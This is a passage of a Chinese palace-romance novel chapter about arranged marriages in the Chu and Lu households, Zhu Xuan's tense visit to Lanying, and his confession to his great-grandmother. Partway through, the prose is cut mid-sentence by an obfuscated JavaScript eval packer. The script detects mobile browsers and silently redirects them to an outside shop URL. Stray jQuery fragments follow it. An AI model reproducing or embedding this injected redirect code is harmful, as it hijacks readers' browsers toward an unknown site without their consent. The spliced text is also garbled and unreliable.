定国公夫人不解,楚阁老早年被诬陷通藩受贿,闹得沸沸扬扬,下狱十年也没能磨去一身傲骨,他如何能同意?
罗氏又道:“姐姐有所不知,楚阁老年少进京赶考盘缠被盗,受他儿媳曾祖严丕的恩惠,那严丕三代单传,到了严氏这一代终于蹦出了个女娃来,两家一合计便定下娃娃亲。楚阁老是个重情义的,年近六旬房里也只楚老夫人一人,自然也是这么要求儿子楚成远的。”
罗氏轻啜了口茶,接着道:“谁知好竹出了歹笋,楚成远逆着他纳了两房妾室。那曹氏若是个良妾倒也罢了,不想竟是个家里犯了事充入教坊司的贱妾……楚阁老得知是儿子背着他问圣上讨了恩典脱籍抬进来的,听说还气得差点闹出人命呢……那曹氏同她膝下所出的楚二小姐自然也就极不受他待见了。”
定国公夫人听楚二小姐有那样一个出身的姨娘,不禁沉默下来,像他们这样的簪缨世家,最是要脸面,传出去还不丢死个人了。
罗氏见她犹豫,轻压了压她的手背:“那曹氏是得圣上御批脱籍的,说出去也不至于没脸……”也哽着声音,拿帕拭泪,眼波却往定国公夫人脸上溜去,“颂哥儿的病是拖不得的,姐姐还是早日做打算才好……”
定国公夫人肃着脸色慢慢点了点头,复又潸然垂泪。
金乌西沉,罗氏才扭着腰肢甩帕打道回府,她今日在定国公府说得口干舌燥,一进正堂便打发丫鬟奉茶进来,椅子还没坐热,就有婆子过来禀报。
见是陆流那头的管事婆子,她低头吹了吹杯面漂浮的茶滓:“什么事?”
那婆子屈膝行过礼,很是诚惶诚恐地垂首道:“菱歌今日叫少爷从房里丢出来了,老奴这才过来讨您示下。”又将菱歌今日那番狼狈形容细细说了一遍。
罗氏听得眉心直拧,陆流面上看着温润,实则性情乖戾。陆奇要他从武,他虽心下不愿,嘴上却没说什么,可自打那以后,便每日一副风流书生的打扮在他老爹跟前晃悠。
他是风流寡情了些,但也不至于毫无怜惜之心,罗氏放下手中的茶盏,发出一声轻响,声音也冷了:“她做什么了?惹得流哥儿这样生气?”
婆子面露难色,却是不知。
罗氏冷笑着啐骂一句,又端起茶盏,喝了一口说:“让她爬个床都爬不明白,打二十个板子,拖出去远远卖了吧。”
婆子领命出去,迎面撞见脚步匆匆的陆流,她正要屈膝见礼,陆流早一阵风似的从她身旁掠过了,语气很轻快:“姨娘!”
罗氏一见陆流便收了厉色,笑道:“你急急忙忙做什么,快仔细脚下。”
陆流快步走到她跟前,气息微促:“我想等过了端午再娶兰璎。”
罗氏却被他弄得一时怔住,昨天回来还一个劲儿催她尽快备好聘礼,想这个月就成亲,她今日这才出门找定国公夫人帮忙说媒的,怎么突然就要挪到端午后了。
想到陆流今日过来请安的时候,跟自己说过要到楚家一趟,便问道:“可是楚家那头同你说什么了?”她也知道他性子是不拘了一些,难不成是为的这个?
却见他脸上笑意明显,似乎又不像。
只听陆流道:“姨娘就不要管为什么了,总之日子定在端午后就是了。”
罗氏了然地指着他笑:“你倒是也对姨娘藏起心思了,昨儿个还楚姑娘呢,这才过了一宿,就直呼人家闺名了!”
陆流又低低笑了笑,正要告辞出去,隐约听见外院传来声声哀嚎,转瞬收了唇角,语气有几分沉,对罗氏说:“姨娘以后还是不要往我房里塞人了。”
罗氏愣了一下,才点点头。
夜幕完全垂下,楚家花厅檐廊的羊角风灯俱燃起暖黄的灯光,打在朱铉玄色纻丝织金缎蟒袍上,溢出细碎浮辉。
案上摆着精致的席面,楚成远此刻就端坐在朱铉对面。
从朱铉嘴里得知兰璎的亲事定在端午后,楚成远也很震惊,上午陆流才跟他说想早点成亲,还信誓旦旦地保证会对兰璎一心一意,虽然他没怎么信就是了……
可为何眨眼就往后推了这么多?
他是已经从严氏那里知晓女儿的心意的,又听朱铉说有事要同女儿交代,便认为是陆流临时改变主意,自己不好意思出面,才托他的世子表哥过来说项。
担心女儿的亲事出了岔子,他让人去叫兰璎过来。
兰璎满头雾水带着牡丹过来花厅的时候,父亲已经不在这里。
朱铉正背手望着阶下一排疏朗翠竹,银白的月辉打在他俊美的面容,神色很沉静。身边站着一个长脸带刀护卫,她记得朱铉曾唤他卫戬。
她十分拘谨地走到他跟前,敛裙问安,语气很恭敬,透着小心:“世子爷,父亲说您找我有要事相谈?”
他背着手立在阶上,微微蹙起眉,没有说话,居高临下,静静看了她许久。
她有些担心,是不是出了什么事,才值得他这么晚过来找她。
此时已是阳春三月,京中白日暖意渐浓,入夜依旧寒峭,兰璎的手却不觉汗津津。
朱铉突然看了身旁的护卫一眼。
卫戬身形微动,腰间佩刀铮铮,刀鞘缝隙一抹白刃幽幽闪过。
兰璎被他吓了一跳,后背撞上牡丹。牡丹忙将她扶住。
“你不要怕。”朱铉眉头皱得很深,但声音却很柔缓,“是字帖。”
卫戬抬手探入衣襟,将字帖取了出来,拾阶而下,姿态很是恭顺地奉给她,眼风扫到她坠在腰间的平安符。
兰璎压下紧张的情绪,裣衽谢过,让牡丹接了。
卫戬面色如常,暗中却对这位楚大小姐多留了几分心神。
他莫名想到宝相寺那日,她从他们身旁经过,他便捡到了一枚纹样与世子爷随身携带别无二致的平安符,世子爷却把它收了。
又想到方才世子爷同楚大人的谈话,这位楚大小姐很快就要同世子爷的表弟定亲了……
想通什么,卫戬心中一惊,不动声色走回去。
兰璎却想,原来他说的过两日是隔日……
朱铉仿佛猜到她的心思,轻声道:“今日有空便过来了。”然后他又开始静静注视着她,空气很静默,一时无话。
兰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673311|206969||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
璎头皮阵阵发麻,她一直都看不透他究竟想干什么。只好微矮了视线,把注意力放在朱铉的鞋面上。
卫戬却替朱铉紧张起来,再喜欢也不能这么看啊,心道,爷啊,您要是学学您表弟,早点收两个通房丫鬟,何至于现在跟个朽木一样杵在这里。
微咽了下口水,小声道:“爷,东西送完了……”
朱铉有些不悦地斜了他一眼,才开口对兰璎说:“听说你父亲迁转工部左侍郎了。”
兰璎心神一凛,低声应是。
是父亲那头出了什么问题吗?
兰璎也知道,如果没有祖父,以父亲的能力是坐不到这个位置的。
可上一世,在楚家满门被抄之前,父亲仕途一直都是安稳无虞的。倒是祖父生性刚直,不肯屈意逢迎,触怒了圣上,被勒令致仕归乡。
只是,不过短短数日,圣上又下旨召他重回内阁。
她嗫嚅片刻,刚想问些什么,却听朱铉轻轻叹了口气:“我最近会很忙。”又沉默地看了她一会儿,才带着卫戬离开。
马车笃笃驶向皇城北侧。
这里朱墙环绕,坐落着德惠大长公主的御赐府邸,正门五间七架,门扇衔瑞兽铜环,墙砖精雕玲珑花样,错落雅致。
一株苍老玉兰扎根院中,满树坠着密密的玉兰花。
朱铉自回来后便一直站在满树雪白之下,盯着地上的落花发呆。
德惠大长公主瞧见了,担心他着凉,催他进屋去。
他却仿佛听不到。
德惠大长公主这才又唤了他一声:“珣哥儿?”
是朱铉的小名。
按祖训依五行相生轮回定名,到了朱铉这代便只能归为金行。于是她便取上古美玉之意,小名单命一个“珣”字。
希望他品性端正,不染尘俗。
但此刻,她却听朱铉说:“我想抢一个人回来。”
“可她很怕我。”
“为什么?”
德惠大长公主愕了半晌。
朱铉小时候吵着要北朔王妃,她便哄他说等玉兰花开了,你母亲也就回来了。那时他尚且年幼,她便舍下老脸去求圣上开恩,每年这个时候召他父母回京。
圣上贵为皇子的时候,与当时仍是储君的北朔王交情甚笃,但如今他已登大宝,难免诸多猜忌。后来朱铉日渐长大了,她也就不好再提了。
也就是从那时候起,朱铉等了一年又一年,仍不见北朔王夫妇回来,性格便有些执拗了。
他七八岁的时候,西南土司曾进献过一对绿孔雀入大内,圣上便赏给了玉龄公主。
他去找陆流时见到了那对孔雀,问陆流要,陆流不给。得不到他便想抢,两兄弟争得不可开交。
最后玉龄公主拨了一只给他,可惜接回来养了没几日便死了。
他就半夜自己一个人在玉兰树下刨了个坑,将那只孔雀埋了。
从这以后,就再也没听说过他要抢什么东西了。
不等她回话,朱铉便神色淡淡地叫了她一声外曾祖母:“夜了,您也歇息吧。”反身回屋。